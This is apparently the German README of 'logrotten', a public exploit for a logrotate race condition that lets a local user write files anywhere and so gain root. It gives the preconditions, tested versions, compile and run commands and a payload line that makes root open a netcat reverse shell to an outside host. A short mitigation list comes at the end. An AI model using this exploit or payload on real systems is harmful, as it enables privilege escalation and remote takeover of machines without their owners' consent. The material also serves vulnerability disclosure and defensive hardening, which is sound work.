[!WARNING]
Dieses Repository wurde nach https://codeberg.org/whotwagner/logrotten verschoben. Bitte besuchen Sie den neuen Standort für die neuesten Updates.
Ausnutzen einer Race Condition in logrotate zur Privilegienerweiterung

Kurzbeschreibung
- logrotate ist anfällig für eine Race Condition nach dem Umbenennen der Logdatei.
- Wenn logrotate als root ausgeführt wird, mit einer Option, die eine
Datei erstellt (wie create, copy, compress usw.), und der Benutzer die Kontrolle
über den Logdateipfad hat, ist es möglich, eine Race Condition auszunutzen, um
Dateien in beliebigen Verzeichnissen zu schreiben.
- Ein Angreifer könnte seine Privilegien erweitern, indem er Reverse-Shells in
Verzeichnisse wie "/etc/bash_completition.d/" schreibt.
Voraussetzung für die Privilegienerweiterung
- Logrotate muss als root ausgeführt werden
- Der Logpfad muss unter der Kontrolle des Angreifers stehen
- In der logrotate-Konfiguration muss eine Option gesetzt sein, die Dateien erstellt
Getestete Versionen
- Debian GNU/Linux 11 (bullseye)
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
- logrotate 3.18.0
Kompilieren
- gcc -o logrotten logrotten.c
Payload vorbereiten
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
Exploit ausführen
Wenn die Option "create" in logrotate.cfg gesetzt ist:
./logrotten -p ./payloadfile /tmp/log/pwnme.log
Wenn die Option "compress" in logrotate.cfg gesetzt ist:
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
Bekannte Probleme
- Es war schwierig, die Race Condition in einem Docker-Container oder auf einem lvm2-Volume zu gewinnen. Diese Version von logrotten verbessert die Zuverlässigkeit.
Gegenmaßnahmen
- Stellen Sie sicher, dass der Logpfad root gehört
- Verwenden Sie die Option "su" in logrotate.cfg
- Verwenden Sie SELinux oder AppArmor
Autor
Referenzen